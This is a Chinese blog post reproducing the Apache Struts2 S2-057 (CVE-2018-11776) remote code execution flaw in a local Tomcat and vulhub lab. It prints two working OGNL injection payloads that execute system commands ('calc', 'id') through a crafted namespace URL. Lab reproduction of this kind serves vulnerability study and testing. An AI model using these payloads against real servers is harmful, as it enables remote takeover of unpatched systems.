Apache struts2 namespace遠端命令執行_CVE-2018-11776(S2-057)漏洞復現

雨中落葉發表於2019-07-18

Apache struts2 namespace遠端命令執行_CVE-2018-11776(S2-057)漏洞復現 

一、漏洞描述

S2-057漏洞產生於網站配置xml的時候,有一個namespace的值,該值並沒有做詳細的安全過濾導致可以寫入到xml上,尤其url標籤值也沒有做萬用字元的過濾,導致可以執行遠端程式碼,以及系統命令到伺服器系統中去 。

二、漏洞影響版本

Apache struts 2.3-Apache struts 2.3.34

Apache struts 2.5-Apache struts 2.5.16 

三、漏洞環境搭建以及復現

Win7+tomcat7.0+struts-2.5.16

1、下載struts 2.5.16官方示例showcase

2、把下載的struts2-showcase放到tomcat的webapps目錄下

  

3、修改struts-actionchaining.xml,發現有兩處需要修改

  

4、修改struts-actionchaining.xml,將namespace刪除, 將 result 型別改為 redirectAction

修改為如下:  

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
           <result type="redirectAction">
             <param name = "actionName">register2</param>
           </result>
        </action>
    </package>
</struts>

5、重啟tomcat

6、瀏覽器訪問http://192.168.10.230:8080/struts2-showcase/,漏洞環境成功搭建

   

7、此漏洞利用很簡單,只需要在url構造ognl表示式,再加上配置檔案中的action標籤中的name屬性值,並以.action結尾

瀏覽器訪問http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,會執行 Ognl 表示式 ${100*100}

  

8、路徑跳轉到我們在配置的action檔案路徑下,到此,S2-057漏洞被成功的利用了

9、彈計算器,但是在目標沒有彈出計算器

Poc如下: 

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

  

四、漏洞防禦

1、 升級最新版本

 

使用docker搭建

1、利用docker搭建vulhub漏洞環境

docker-compose up -d

2、 啟動環境後,訪問http://172.17.0.1:8080/struts2-showcase/

  

3、burp抓包,修改包如下,說明存在漏洞

  

4、使用poc驗證

POC如下:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

5、把poc替換相應的位置,驗證說明存在漏洞  #poc需要url編碼

  

 

 

-----------------------------------------------------------------------------------------------------------

參考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

相關文章